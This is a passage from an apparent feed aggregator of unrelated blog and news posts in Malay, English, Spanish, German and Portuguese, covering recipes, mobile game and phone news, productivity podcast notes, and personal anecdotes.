    1 inci halia ☆
    1 batang kulit kayu manis
    4 biji buah pelaga
    1 kuntum bunga lawang
    3 batang bunga cengkih
    1 pelepah daun kari
    1 sudu besar kerisik
    1 peket kecil rempah daging Babas
    1 sudu udang kering
    1 1/2 cawan air
    Garam
    Gula


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    Cara-caranya
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    1. Mayang / hiris semua bahan-bahan ☆

    2. Panaskan minyak. Tumis kulit kayu manis, buah pelaga, bunga lawang, kulit kayu manis dan daun kari.

    3. Masukkan semua bahan yang dihiris (☆) dan tumis sampai wangi.

    4. Bancuh rempah kari Babas dengan sedikit air panas hingga jadi pes dan tumis. Masukkan sedikit sahaja air untuk elakkan rempah kari tadi hangit. Tumis hingga pecah minyak.

    5. Masukkan nenas dan air (anggaran air dalam semangkuk kecil - jangan terlampau banyak, nanti tak pekat). Masukkan juga udang kering.

    6. Biar mendidih dan kacau sekali sekala. Kemudian, masukkan 1 sudu besar kerisik dan perasakan dengan garam dan gula.


    Dah siap!! Sedap! Sebiji macam mama masak!
    posted from Bloggeroid

              GameStop Mobile launches as AT&T virtual carrier, gives us rare bring-your-own GSM in US (update)        

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    Here's an expansion of mobile competition in the US that comes out of left field, even for us: GameStop as a cellular provider. GameStop Mobile, as it's called, is that rare bird of an AT&T-based MVNO that relies on a bring-your-own-device strategy. As long as your hardware works on AT&T's 850MHz and 1,900MHz bands and isn't locked to another carrier, you can bring any GSM- and HSPA-based phone (or data-only device) and use it contract-free: rates start at anything from a strictly pay-as-you-go $5 through to a $55 monthly plan with unlimited voice and text, if just an anemic 500MB of data. Tablet owners and other data-only fans can pay the same $55 for 1GB per month -- a bit stiff considering that those on AT&T proper can get 5GB of data for slightly less. No doubt this is to take advantage of iPad and iPhone trade-ins, PlayStation Vitas and the overall rise of unlocked devices. We're just wondering whether GameStop will catch a few customers subscribing as they pick up their Diablo III pre-orders or else face the uncertain future that befalls many MVNOs.

    Update: As our friends at Joystiq have pointed out, the GameStop Mobile website is no longer publicly accessible. Looks like someone may have pulled the switch a bit too early.


              Kisah Si Portable Aircond        
    Hi korang...


    Sejak dua menjak ni, cuaca panas sangat kan. Panas membahang, mandi time subuh pun rasa air tu suam je. Kipas pula dah bukak habis full blast, punnnnnn tak rasa apa.


    Sebab dah tak tahan, wanie ke Harvey Norman nak cari portable aircond. Yelah, sekarang ni kan wanie still menyewa lagi ( rumah baru cepatlahhhhh siapppp 😣 ) so tak best lah nak tebuk rumah orang suka hati nak pasang aircond tu kan. Terjumpa satu brang ni, Honeywell kalau tak silap. Mak aiiii... RM 1700 kauuu. Terfikir sejenak nak ambik ke tak... macam biasalah, mesti call mem beso kat kampung minta persetujuan dulu. Tapi, rasa berbunga harapan bila mem beso cakap "tak payah laaaa bazir duit. balik ambik portable aircond abah kat rumah ni.. tak guna pun...."


    Kebetulan minggu tu cik abe kita outstation kat Kedah, sempat lah dia ke rumah ambik portable aircond tu. Hasilnya....





    Huwaaa... best angatttt! Sejuk sampai kena tarik comforter. Ini brand MEC, 1.5HP. Abah siap pasang extension hose sebab nanti hose tu nak sumbat celah celah grill tingkap untuk keluarkan udara panas.


    Abaikan semak samun sebab malas nak mengemas. Keletihan baru balik dari hangout dengan kawan.


    Bab nak keluarkan air dari portable aircond ni, tunggu dia bunyi alarm untuk keluarkan jelah. Kalau tak, biar je. Nak keluarkan air pun senang, cabut je tiub kecik belakang aircond tu, pastu biarkan je air habis mengalir keluar.


    Bil elektrik? Entahlah... biasanya bil rumah wanie kurang RM 50. Nanti hujung bulan kita tengok berapa bil dia ya.. wanie just guna malam malam je bila nak tido... siang siang jarang wanie guna sebab duk melepak kat ruang tamu je.


    Selamat malam. Dah 2 pagi ni.. hahahahaha..
    posted from Bloggeroid

              Optimización libre y solidaria        
    Motorela
    El mundo tiene más sorpresas que las que uno espera. En un viaje los detalles pequeños saltan a la vista con mayor facilidad que las grandes diferencias de lenguaje, historia, ubicación, etc. Una de las que más me ha llamado la atención es este medio de transporte llamado "Motorela". 

    Al norte de Mindanao, en Misamis Oriental, entre Camiguin y Cagayan de Oro en Filipinas se ve este curioso medio de transporte. Se trata de una moto con un remolque que -mágicamente- permite acomodar 10 personas. ¿Cómo? La palabra es esa... magia. Aunque tenga un uso masivo, sea un espacio pequeño, que todo quepa o o que nada se cae a pesar de que todo parezca inestable este medio tiene algo muy especial.

    ¿Cuál es su especialidad? Se trata de una optimización libre. Los filipinos mencionan sutilmente la ubicación y el conductor sutilmente acepta o rechaza el destino propuesto. Una vez aceptada la dirección, en silencio el conductor se dirige a ese lugar. Los peatones se acercan y mencionan otros lugares. El conductor simplemente asiente o niega la ruta deseada por los otros pasajeros. El vehículo se llena y los pasajeros se van bajando en el lugar deseado y uno llega a su destino. El precio son 7 pesos filipinos (PHP) el equivalente a aprox 14 centavos de dólar o 540 pesos colombianos (COP).

    ¿Qué tiene eso de novedoso? Lo que he podido observar es que el medio permite satisfacer la necesidad de transporte, su cupo se utiliza plenamente, es un transporte colectivo y el conductor con una señal sutil está optimizando la ruta. ¡Muestra un fenómeno emergente que sin control previo genera resultados ordenados! ¿Podrían las grandes plataformas como Über, Waze, Google Maps lograr procesos de optimización donde en lugares precisos se recogan personas que vayan hacia la misma ruta? 

    Lo mejor de todo es que rompe el paradigma tecnocrático de que la mejor opción de transporte es planificada. ¿Podría esa moda de alcaldes tecnócratas colombianos lograr un medio óptimo, cooperativo y a la vez libre? La planificación que empieza a utilizar varias variables se pierde rápidamente. Es fácil perder el rastro de simples supuestos programados en Excel al punto de que los archivos cobran vida. Sin embargo, un conductor de forma sencilla y ante todo libre resuelve problemas colectivos que llevan a resultados óptimos. 

    Muchas acciones individuales llevan al orden, pocas acciones de un "líder" generan caos... ¿Por qué? La libertad tiene atractores extraños y eficientes a pesar de su caos, el orden forzado produce caos...   


              #064: Effizienter arbeiten, lernen und leben mit Thomas Mangold        

    Thomas Mangold ist ein Kollege von mir. Er ist Experte für Selbstmanagement und hilft Ihnen, effizienter zu arbeiten, zu lernen und …zu leben! Gleichzeitig ist er Buchautor und Experte für Evernote.

    Nebenbei hat er noch einen Vollzeitjob, Hobbys und sogar ein Leben! Klar, dass ich unbedingt wissen muss, wie er es schafft, mit so vielen Bällen zu jonglieren.

    Hören Sie hier ein Interview gespickt mit vielen Tipps, die Sie sofort umsetzen können.
    Interview Thomas Mangold

    Interview mit Thomas Mangold

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    Bildnachweis: © Depositphotos.com / ivonnewierink


              #052: Backup-Strategie: So schützen Sie sich vor Datenverlust        
    Backup-Strategie: So schützen Sie sich vor Datenverlust

    © Depositphotos.com / andrewgenn

    Nicht nur im geschäftlichen Umfeld sind Backups absolut notwendig – hier sind sie existentiell. Sie haben aber bestimmt auch privat viele Daten gespeichert, deren Verlust Ihnen weh täte.

    So oder so: Ohne Backup gehen Sie ein Risiko ein, das Sie eigentlich nicht tragen können und möchten.

    Was ich bei meinem Backups (Plural!) beachte und wie ich vorgehe, erzähle ich Ihnen in dieser Folge.

    Backup-Strategie: So schützen Sie sich vor Datenverlust

    Hier ein paar Links zu den Dingen, die ich erwähne:

    Weiterempfehlen

    Hat Ihnen diese Folge gefallen? Dann empfehlen Sie den Podcast doch weiter. Damit unterstützen Sie gleichzeitig mich und meine Arbeit.

    Besonders hilfreich sind positive Bewertungen bei iTunes. Klicken Sie gleich weiter unten auf den iTunes-Link und schenken Sie mir ein paar Sterne. Vielen Dank!

    Den Podcast abonnieren

    In meinem Podcast “einfach produktiv” geht es jede Woche darum, Ihr Zeitmanagement zu verbessern. Sie können meinen Podcast abonnieren. Sobald eine neue Folge erscheint, erhalten Sie sie so automatisch:


              #044: So erstellen Sie einen Notfallplan         

    So erstellen Sie einen Notfallplan

    Was passiert eigentlich, wenn Ihnen etwas zustößt? Was ist, wenn Ihnen etwas passiert und Sie sind nicht mehr da? Finden Ihre Angehörigen dann die relevanten Daten und digitalen Dokumente?

    Das sind keine einfachen und schon gar keine angenehmen Fragen. Doch auch Sie sollten sie sich stellen. Denn diese Fragen betreffen nicht nur Unternehmer und Selbstständige, sondern uns alle.

    Hier sind meine Gedanken zu dieser Situation und was Sie tun können.

    So erstellen Sie einen Notfallplan

    In der Folge stelle ich ein paar Fragen, die Ihnen helfen, einen Notfallplan zu erstellen:

    • Wie lautet das Passwort für Ihren Computer?
    • Wie lautet das Passwort für Ihr Mobiltelefon (inkl. PIN und PUK)?
    • Wo befinden sich die weiteren Passwörter?
    • Wie ist die Logik bei der Verzeichnisstruktur?
    • Welche Daten/Dateien sind besonders wichtig?
    • Welche Bankkonti gibt es?
    • Wie lauten die PIN-Codes für die Bankkarten?
    • Wie kann man sich für das E-Banking anmelden?
    • Welche Verträge haben Sie zu erfüllen bzw. müssten gekündigt werden?
    • Welche Webseiten haben Sie und wo sind sie gehostet?
    • Wo befinden sich die (Kunden)Adressen?
    • Wo sind Ihre Termine?
    • Wo haben Sie Ihre Fotos gespeichert?
    • Wie lauten die Passwörter für Ihre E-Mail-Accounts?
    • Wie kann man Mails automatisch weiterleiten oder eventuell eine automatische Antwort einrichten?
    • Wie kann man eine Nachricht auf Ihre Webseite setzen und wie soll sie lauten?
    • Wie soll mit den sozialen Netzwerken umgegangen werden (Facebook, Twitter, Google Plus, Xing, LinkedIn usw.)? Sollen die Profile einfach gelöscht werden?

    Weiterempfehlen

    Hat Ihnen diese Folge gefallen? Dann empfehlen Sie den Podcast doch weiter. Damit unterstützen Sie gleichzeitig mich und meine Arbeit.

    Besonders hilfreich sind positive Bewertungen bei iTunes. Klicken Sie gleich weiter unten auf den iTunes-Link und schenken Sie mir ein paar Sterne. Vielen Dank!

    Den Podcast abonnieren

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              Blogger Update        
    I haven't updated much recently because I've been busy with work and closely monitoring the stock market. I have done a lot of short-term trading lately, and I've been making some nice profits. I still hold some long-term investments, but I want to spice up my portfolio so I mixed it with some short term trades. I'll try to post some updates on my trading, but it's time-consuming. I hope I haven't lost too many readers. I'd like people to post their trades and investment strategies as well. I've also created a private investment group. If you would like to join, just put "Growing Money" in the comments and I'll sign you in. Initially, I created a Google group, but because I had a few complaints, I switched over to Yahoo group. Here's the Yahoo group link: http://finance.groups.yahoo.com/group/StockPickersElite/
              NatGeo presents article "Genius" to accompany is new cable series         

    The National Geographic issue for May 2007 has a feature cover story on p. 30, “Genius: Why some people are so much smarter than the rest of us.”, link (paywall) here .
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    An important measure of genius is whether the person’s output lives throughout the ages.  Beehoven’s output takes on a life of its own. 

    The article gives some attention to the life story of Leonardo DaVinci.

    The years of highest probability of major output are the late twenties into the mid thirties.

    An important and controversial variable would be how versatile the person is with "real life" skills.  The best of today's young adults simply are or were much more mature than I was at ages like, say 16-21. But it helps to be born later. 


    However, there are real prodigies, in coding (Mark Zuckerberg) and in music.  In music, prodigy becomes harder to show after Mozart.  But Eugen d’Albert’s gigantic first piano concerto (as published, in B Minor) was composed before age 20 and shows real intellectual brilliance as to harmony, counterpoint, and form. Brahms, on the other hand, waited until his forties to compose symphonies.  Genius enters new territory in the latest years, as we know from the last nearly-complete symphony of Bruckner.

    There is a new series on National Geographic Channel which I have not seen yet.
      

    The issue also has an article on the Central African Republic, the Burning Heart of Africa, and “United in Protest” against the North Dakota oil pipeline. 

              ROSE QUARTZ – HEART CHAKRA STONE        
    Rose Quartz

    Rose Quartz

    Valentine’s day is just around the corner. A lot of people is already plan ahead for a romantic dinner in her/his special restaurant. Things to do on Valentine’s day you can find easily on Google. The

    The post ROSE QUARTZ – HEART CHAKRA STONE appeared first on The Golden Triangle.


              Terra Battle 2 is coming soon, and you can pre-register for it today        

    That's right, the sequel to Mistwalker Corporation's hit tile-based tactical role-playing game Terra Battle is available for pre-registration on the Google Play Store as of today. Apparently, it is aiming to offer a different gameplay experience but still wants to retain the core battle mechanics of the original. So your guess is as good as mine as to what to expect from the gameplay when the sequel is released.

    Honestly, it's no surprise that Mistwalker Corporation has been toiling away working on Terra Battle2.

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    Terra Battle 2 is coming soon, and you can pre-register for it today was written by the awesome team at Android Police.


              [Hands-on] Middle-earth: Shadow of War, a AAA game in name only        

    Warner Bros. International Enterprises has a mobile version of Middle-earth: Shadow of War that is currently available on the Play Store for pre-registration. Luckily I have gotten my hands on an APK and have sideloaded the game in order to let all of you know how it plays in advance of the title's release.

    I would like to briefly mention that Middle-earth: Shadow of War is a soft-launch title that is currently only available in the US for pre-registration.
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    [Hands-on] Middle-earth: Shadow of War, a AAA game in name only was written by the awesome team at Android Police.


              Middle-earth: Shadow of War is up on the play store for pre-registration        

    There is an upcoming Android version for Middle-earth: Shadow of War, and you can pre-register for it today on the Google Play Store. It looks like it will be your standard free-to-play hero collection RPG with plenty of gacha mechanics. You can undoubtedly expect to collect and upgrade countless characters from the Lord of the Rings franchise, all while being tasked with the job of overthrowing Sauron. Let's just hope that the gameplay actually turns out to be good.

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    Middle-earth: Shadow of War is up on the play store for pre-registration was written by the awesome team at Android Police.


              Behold Studios new sci-fi RPG 'Galaxy of Pen & Paper' launches onto the Play Store        

    Behold Studios has just released Galaxy of Pen & Paper onto the Play Store. It costs $4.99, and there are no advertisements or in-app purchases. While many may remember the fiasco that Paradox Interactive created when converting Knights of Pen & Paper 2 to a free-to-play game, I would like to make it clear that Galaxy of Pen & Paper is being handled by the original developer of the series. That is right, Behold Studios is back behind the reins and have adamantly stated that Galaxy of Pen & Paper will stay a premium priced game.

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    Behold Studios new sci-fi RPG 'Galaxy of Pen & Paper' launches onto the Play Store was written by the awesome team at Android Police.


              Tales of the Rays is the newest RPG in Bandai Namco's long running Tales series, and it's out on the Play Store        

    Bandai Namco have released an all new Tales game onto the Play Store. It's titled Tales of the Rays, and it is being billed as a "console quality" release that you can easily play on the go. But what exactly does that mean? Is this title really comparable to Bandai Namco's console games, or is this yet another free-to-play gacha release that was only disguised to look like its console siblings?

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    Tales of the Rays is the newest RPG in Bandai Namco's long running Tales series, and it's out on the Play Store was written by the awesome team at Android Police.


              [Update: Officially released today] Exciting news for CRPG fans, Planescape Torment will see an enhanced edition release on April 11th        

    Much like Baldur's Gate, Baldur's Gate II, and Icewind Dale have received enhanced edition ports to Android, classic CRPG Planetscape Torment is receiving the enhanced edition treatment as well. To be more specific, the developer Beamdog will be releasing Planescape: Torment Enhanced Edition as a cross-platform release on April 11th of this year.

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    [Update: Officially released today] Exciting news for CRPG fans, Planescape Torment will see an enhanced edition release on April 11th was written by the awesome team at Android Police.


              Sword Art Online: Memory Defrag is the new entry in the hit anime series, available from Google Play        

    Bandai Namco seems to pump out anime games at a rate of knots unseen by man, so it's no surprise to see a new one in the Sword Art Online series, this time called 'Memory Defrag,' originally announced in June. This is the third game available for Android, after End World and Code Register were released in 2013 and 2014.

    Besides the slightly bizarre name, this looks like a good anime RPG game, by all accounts.

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    Sword Art Online: Memory Defrag is the new entry in the hit anime series, available from Google Play was written by the awesome team at Android Police.


              Versus Evil releases Guild of Dungeoneering, an RPG that will increase in price over time        

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    Independent game publisher Versus Evil has so far released two Android games - The Banner Saga and Fear The Walking Dead: Dead Run, a tie-in with AMC's Fear the Walking Dead. Today it's third game hits the Play Store, titled Guild of Dungeoneering, a role-playing game based around restoring your guild to its former glory in your role as Dungeon Master.

    Dungeoneering is already available on Steam for Windows and macOS (the trailer above is for those versions, thus the cursor), so to see it come to Android should be a boost for the platform and Google Play.

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    Versus Evil releases Guild of Dungeoneering, an RPG that will increase in price over time was written by the awesome team at Android Police.


              Nova versão do Google Maps para S60 e Windows Mobile        
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    A maior novidade é o recurso de busca de endereços por voz. Ou seja, o usuário fala o que deseja procurar e o programa, através do sistema de reconhecimento de voz nos servidores do Google, oferece os resultados.
    Acabei de baixar o programa mas não fiz nenhum teste ainda deste recurso. Mas já adianto que a busca por voz no Google Apps no meu Nokia N97 só funcionava "falando em inglês"...
    Para baixá-lo, acesse http://www.google.com/gmm.
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    Hoje a Nokia anunciou que a navegação por voz no seu programa Ovi Maps passará a ser gratuita. Anteriormente o usuário precisave comprar o pacote de navegação para um período determinado de tempo (1 semana ou 1 mês) para poder ter a orientação por voz.
    Esta oferta está disponível apenas para a nova versão 3.03 do Ovi Maps, disponibilizada para download a partir de hoje.
    Entretanto, observando a lista de aparelhos compatíveis, notei a falta do N97 clássico, apenas o N97 mini estava listado. De acordo com o site All About Syumbian, o motivo seria a falta de memória livre paar efetuar a instalação do programa, já que ele necessita de pelo menos 20mb no disco C: do aparelho para instalar.
    Bem... fazem dois dias eu formatei o meu N97 inteiramente para tentar resolver o bug do travamento na inicialização (e acho que consegui) e assim estava com 26mb livres no meu disco C:. Baixei o instalador e... funcionou direitinho!!!
    Ou seja, agora estou com meu N97 com navegação gratuita!!!
    Eu já estava acostumado com a nova interface do Ovi Maps pois estava usando a versão beta faz tempo, mas notei as seguintes mudanças:
    1. Não é mais possivel acessar suas licenças, já que agora tudo é de graça;
    2. Apareceu uma opção "Compartilhamento" que deve ser algo como o Latitude do Google;
    3. Finalmente é possível procurar pontos de interesse por categorias, algo que havia sido retirado do beta do Ovi Maps 3.03.
    Para baixar o programa, acesse http://www.nokia.com/maps.
    Fontes: Rodrigo Toledo, N Possibilidades, All About Symbian.
              Por que as pessoas não acreditam???        
    Passei o Ano Novo na praia e como sempre a viagem de ida ou de volta é uma loteria no que tange ao trânsito. Para minimizar os problemas, sempre que vou para o litoral uso muito o Google Maps com a camada de trânsito em São Paulo ativa, o meu site "Vamos a la playa" com as imagens das câmeras das rodovias e agora o "Tempo de Viagem" da Ecovias, que mostra a estimativa do tempo gasto para se chegar aos destinos do litoral.
    Mas o que mais me intriga é que mesmo com toda a informação que temos, algumas pessoas insistem em ignorá-las e tomar decisões equivocadas...
    Uns parentes nossos passaram o Ano Novo conosco e sairam de São Paulo no dia 30 de dezembro. Na rodovia dos Imigrantes existem vários painéis de informações que mostram o mesmo conteúdo do site da Ecovias, o tempo de viagem estimado, além de orientações mais "diretas" como "Rodovia Anchieta LIVRE".
    Pois bem... nossos parentes viram os painéis indicando que o trânsito na rodovia dos Imigrantes estava congestionado, viram o painel um pouco antes da interligação Anchieta-Imigrantes indicando que a primeira estava com trânsito bom e... foram pela Imigrantes e demoraram 2 horas num trecho que normalmente leva 30 minutos...
    Ao chegarem, perguntei por que não seguiram as informações que a concessionária estava mostrando. A resposta: não acreditavam que elas eram verdadeiras...
              Sorvete na testa do ano!!! Nokia fecha o NokiaBR...        
    Hoje está correndo na blogosfera a celeuma sobre o fechamento do blog NokiaBR por imposição da Nokia. O José Antônio recebeu uma intimação de um escritório de advocacia sobre o uso indevido da marca "Nokia" (o que realmente eles têm razão) e entre outras ameaças e imposições, resultou no cancelamento imediato do domínio NokiaBR.
    O mais estranho é que o blog NokiaBR era tocado por "um fã de carterinha" da marca e seu conteúdo era, em grande parte, positivo para a empresa finlandesa... Mas, como disse a Bia Kunze do Garota sem fio, em vez deles correrem atrás dos "Nokla", foram atrás do José Antônio.
    O duro é que estes escritórios de advocacica parecem aqueles cachorrinhos pentelhos que ficam tentando latir o mais alto possível para se fazerem de ferozes e acabam espantando quem não deveriam...
    Comigo há alguns anos tive uma experiência semelhante... Sou proprietário de uma pequena rede de varejo que comercializava uma marca de produtos que estava em litígio entre o importador antigo, de quem eu me abastecia, e o novo. Um belo dia apareceu uma "Notificação Extra-Judicial" de um escritório de advocacia representando o novo importador que entre outras ameaças, dizia que seria expedida uma ordem de apreensão de todo o meu estoque adquirido LEGALMENTE do importador antigo...
    Na hora liguei para o representante de vendas do novo importador, já que eu era um dos maiores clientes do estado de outras marcas da empresa e me prontifiquei a me desfazer o mais rapidamente possível do estoque que havia adquirido do antigo importador daquela marca, vendendo abaixo do custo e não dando mais ênfase na vitrine.
    E também solicitei que todos os representantes daquela empresa, a nova importadora que havia mandado a notificação, nunca mais aparecessem nas minhas lojas, pois não seriam atendidos. Ou seja, um advopgadozinho de m... espantou um dos maiores clientes da empresa...
    Até hoje, passados mais de 5 anos, diretores e gerentes desta importadora em todas as feiras tentam de todo custo "abrir o ponto de venda" novamente...
    Veja o relato do José Antônio no seu blog Zeletron.
    Veja a repercussão na blogosfera...
    Garota Sem Fio
    Rodrigo Toledo
    TekiMobile
    BRLinux
    FayerWayer
    ManéBlog
    Picolé Parcelado
    RichardMax
    ProveIsto
    AllGSM
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    Fico com a sugestão do Rodrigo Tolego, vamos todos criar links para o blog "autorizado pela Nokia" do José Antônio, o Zeletron para que ele possa, em pouco tempo, ficar bem ranqueado nos Googles da vida...

    Atualização: veja a resposta da Nokia sobre o assunto.
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    O bolo de banana de liquidificador tem uma massa molhada, macia e que desmancha na boca. Você levará, em média, 1 hora para fazer essa receita e o rendimento é de 10 porções. Receita do Dia agradece a sua visita. Bom apetite!

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              Torta de banana fácil        

    Receita de torta de banana

    A torta de banana é uma opção prática e saborosa para você preparar em casa. A receita fica pronta em apenas alguns minutos e leva ingredientes simples, ou seja, baratos e fáceis de comprar e ainda possui propriedades saudáveis. Embora existam muitas variações, a torta de banana possui um objetivo especial: tirar proveito do maravilhoso sabor dessa fruta tropical. A massa normalmente é uma farofa leve e crocante, que combina perfeitamente com o recheio molhadinho. Sem falar que existe a possibilidade de trabalhar com uma calda caramelizada para tornar a torta ainda mais irresistível.

    [caption id="attachment_3395" align="alignnone" width="502"]Aprenda a preparar uma deliciosa torta de banana. (Foto: Divulgação) Aprenda a preparar uma deliciosa torta de banana. (Foto: Divulgação)[/caption]

    Como fazer torta de banana

    A torta de banana é uma ótima opção de lanche ou sobremesa. Acompanhe a seguir o passo a passo da receita:

    Ingredientes:

    • 8 bananas nanicas
    • 1 xícara de açúcar
    • 1 colher de sopa de fermento
    • 2 xícaras de farinha de trigo
    • 100g de margarina
    • 1 e ½ copo de leite
    • Canela em pó a vontade
    • 3 ovos

    Modo de preparo

    1. Em um recipiente, misture a farinha de trigo, o açúcar, o fermento, a margarina e a canela em pó. Mexa bem, até a mistura adquirir ponto de farofa. Reserve.

    2. No liquidificador, coloque o leite e os ovos. Bata bem, até obter uma mistura homogênea. Reserve.

    3. Chegou a hora de montar a torta de banana e o processo é bem simples. Coloque a metade da farofa no fundo de uma assadeira untada, distribuindo bem essa primeira camada.

    [caption id="attachment_3398" align="alignnone" width="500"]Coloque as rodelas de banana sobre a farofa. (Foto: Divulgação) Coloque as rodelas de banana sobre a farofa. (Foto: Divulgação)[/caption]

    4. Em seguida, adicione as fatias de banana nanica maduras, sendo bem generoso com esse recheio. Você pode, ainda, polvilhar um pouco de canela em pó.

    5. Depois das bananas estarem bem forradas. Coloque o restante da farofa de novo.

    6. Despeje o creme líquido a base de leite e ovos sobre a última camada de farofa.

    7. Coloque a torta para assar no forno médio, pré-aquecido. Quando a farofa estiver douradinha, significa que o doce está pronto.

    Dicas para torta de banana

    Imagem abaixo pertence ao blog: Fare la Scarpetta

    Nome da torta: Torta Rústica de Banana com Raspas de Limão Siciliano

    [caption id="attachment_3397" align="alignnone" width="501"]A torta fica molhadinha. (Foto: Divulgação) A torta fica molhadinha. (Foto: Blog Fare la Scarpetta)[/caption]

    • Ao invés de usar apenas leite e ovo para fazer a calda, você também pode acrescentar leite condensado e essência de baunilha para deixar a torta mais saborosa.

    • Além dessa calda branca, você também pode preparar uma versão caramelizada com água e açúcar. O resultado é delicioso!

    • Para deixar a torta de banana diferente e saborosa, experimente derreter dois tabletes de chocolate meio amargo em banho-maria. Depois, despeje essa cobertura sobre a farofa.

    Aqui segue uma outra versão de Torta de banana passo a passo!

    [embed]http://www.youtube.com/watch?v=-w3yeUNwV2M[/embed]

    Prepare uma torta de banana para a sua família. Além de ser muito saboroso, esse doce possui propriedades saudáveis. Essa receita, tipicamente brasileira, fica pronta em apenas 35 minutos e rende 10 porções. Receita do Dia agradece a sua visita. Bom apetite!


    Receita de bolo de banana

    A receita de bolo de banana de liquidificador tem uma massa molhada, macia e que desmancha na boca. A receita é bem simples, rápida e barata.

    [caption id="attachment_4708" align="aligncenter" width="600"]bolo de banana rápido de liquidificador Combine banana e canela para intensificar o sabor.[/caption]

    Uma dica importante para que o seu bolo fique saboroso é saber escolher o tipo certo de banana. A nanica e a prata são as mais utilizadas, principalmente quando se encontram bem maduras. Se tudo for feito conforme manda a receita, você será responsável por uma sobremesa deliciosa e nutritiva.

    Bolo de banana

    Quer fazer bolo de banana rápido de liquidificador? Então confira a receita:

    bolo de banana ingredientes

    Como fazer Bolo de Banana

    Modo de preparo do Bolo

    1. Coloque no liquidificador os ovos, o óleo, o açúcar e, por último, o leite. Bata bem todos os ingredientes, até obter uma mistura homogênea.

    2. Acrescente, aos poucos, a farinha de trigo no liquidificador ligado. Por fim, adicione o fermento. Reduza a velocidade do liquidificador e bata apenas para que a massa possa incorporar o fermento.

    3. Prepare o caramelo para o seu bolo de banana. Para fazer isso, basta colocar o açúcar para derreter em uma panela e depois juntá-lo com água quente. Deixe a calda engrossar.

    [caption id="attachment_3571" align="aligncenter" width="598"]Bolo de banana rápido de liquidificador 2 Passo a passo. (Foto: Divulgação)[/caption]

    4. Unte uma assadeira com margarina e farinha de trigo. É importante que o modelo seja sem furo central.

    5. Despeje o caramelo por toda a forma untada, espalhando uniformemente.

    6. Corte as bananas em fatias compridas e coloque-as sobre o caramelo.

    7. Adicione a massa à assadeira e leve o bolo para assar, em forno médio pré-aquecido, por cerca de 40 minutos.

    8. Pronto! Agora é só esperar amornar para desenformar. Quando você virar o bolo de cabeça para baixo, as bananas vão ficar por cima. Salpique canela e corte em pedaços para servir.

    Não esqueça: O ideal é desenformar morno e ao tirar do forno virar com um prato para que escorra a calda.

    [caption id="attachment_6459" align="aligncenter" width="600"]Prático e muito saboroso, o bolo de banana definitivamente conquistou a preferência das famílias brasileiras. A sua receita tem muitas variações, podendo ser incrementada com açúcar e canela. Prático e muito saboroso, o bolo de banana definitivamente conquistou a preferência das famílias brasileiras. A sua receita tem muitas variações, podendo ser incrementada com açúcar e canela.[/caption]

    Bolo de Banana Passo a passo

    Quer mais dicas para fazer o seu bolo de banana? Assista ao vídeo abaixo e veja uma outra versão do Bolo de Banana:

    O bolo de banana de liquidificador tem uma massa molhada, macia e que desmancha na boca. Você levará, em média, 1 hora para fazer essa receita e o rendimento é de 10 porções. Receita do Dia agradece a sua visita. Bom apetite!

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              Pudim de banana        

    O pudim de banana é uma opção prática e saborosa para você preparar em casa. A receita fica pronta em apenas alguns minutos e leva ingredientes simples, ou seja, baratos e fáceis de comprar e ainda possui propriedades saudáveis. Embora existam muitas variações como Pudim de leite condensado, pudim de milho, pudim de microondas e pudim de leite em pó. O pudim de banana possui um objetivo especial: tirar proveito do maravilhoso sabor dessa fruta tropical. Sem falar que existe a possibilidade de trabalhar com uma calda caramelizada para tornar a torta ainda mais irresistível.

    pudim de banana 5

    Receita de pudim de banana

    O pudim de banana é uma ótima opção de lanche ou sobremesa. Acompanhe a seguir o passo a passo da receita:

    Como fazer pudim de banana

    Modo de preparo:

    1- Bater por 2 minutos os 4 primeiros ingredientes (leite condensado, ovos, amido de milho e leite) por dois minutos, até ficar bem lisinha.

    2- Bater por mais 2 minutos as bananas e a canela no liquidificador até ficar bem lisinho.

    3- Depois de bem batido, despeje em uma forma caramelada de açúcar e em banho-maria.

    4- O tempo de cozimento pode ser até 30 minutos, ou faça o teste do palito para ver se está no ponto.

    Pudim de banana 1

    Vou só como é fácil de preparar o pudim de banana. Qualquer cozinheiro de primeira viagem pode fazer essa receita. Prepare esse pudim de banana para a sua família. Além de ser muito saboroso, esse doce possui propriedades saudáveis. Essa receita, tipicamente brasileira, não leva mais de 1 hora para ficar pronto. Receita do Dia agradece a sua visita. Bom lanche!

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              Biscoito de banana com granola        

    biscoito de banana

    Que tal aprender a preparar biscoito de banana com granola? Isso mesmo! Aqueles biscoitinhos que alimentam, tem sustância e engana a fome. Ideal tbm para tomar com chazinho ou café. Essa delícia não é muito crocante, é bem fácil de fazer, basta combinar os ingredientes certos e respeitar as etapas do preparo.

    Receita de biscoito de banana com granola

    Importante saber que a a granola é uma mistura de cereais integrais deliciosos e nutritivos, rica em fibras naturais, que são importantes na prevenção de doenças coronarianas, como também indispensável para o bom funcionamento intestinal, eliminação de gorduras e colesterol. Tem como objetivo de ser um alimento saudável para o seu dia a dia. Indicado para todas as idades. A granola que eu usei é da marca Prinat. Eu peguei a Granola. Maçã e Banana com Canela, é muito deliciosa e docinha. Mas não tem problema. você pode usar outras marcas de granola.

    biscoitos de banana com granola

    Como fazer biscoito de banana

    Modo de fazer:

    1- Primeiramente pegue as bananas e esmague no prato.

    biscoitos de banana 4

    2- Em seguida comece adicionar os ingredientes misturando e amassando até que a massa fique boa para fazer bolinhas.

    biscoitos de banana 5

    3- Unte a forma. Faça as bolinhas e leve-os a assar em forno regular 150º em torno de 20 minutos.

    biscoitos de banana com granola

    Importante saber que esses biscoitinhos devem ser consumidos em 24 horas, os biscoitos de banana com granola são levemente crocantes por fora. Seu tempo de preparo leva em torno de 30 minutos e rende 25 deliciosos biscoitinhos.

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              Mousse de banana        

    Quer aprender a fazer receita de mousse de banana? Então saiba que a receita é bem simples, prática e rápida. Essa sobremesa pode ser preparada bananas nanicas. O resultado é um doce cremoso, suave e com sabor irresistível.

    Receita de Mousse de banana

    A mousse de banana leva, basicamente, bananas e creme de leite. É possível, ainda, trabalhar com outros ingredientes para tornar a sobremesa mais consistente e com sabor incomparável. Por exemplo: colocando bolachinhas ao redor, polvilhar um pouquinho de canela em pó por cima e rodelas de banana. Além da sobremesa ficar mais bonita, ela fica saborosa e suave.

    receita de mousse de banana

    Como fazer Mousse de banana

    Vamos aprender a fazer receita de mousse de banana? Acompanhe a seguir o passo a passo da receita: (Para um bom resultado, é importante obedecer todas as quantidades de ingredientes).

    receita de mousse de banana

    1. Misture os 3 primeiros ingredientes e leve ao fogo baixo, mexendo sempre até desmanchar as bananas (15 minutos aproximadamente).
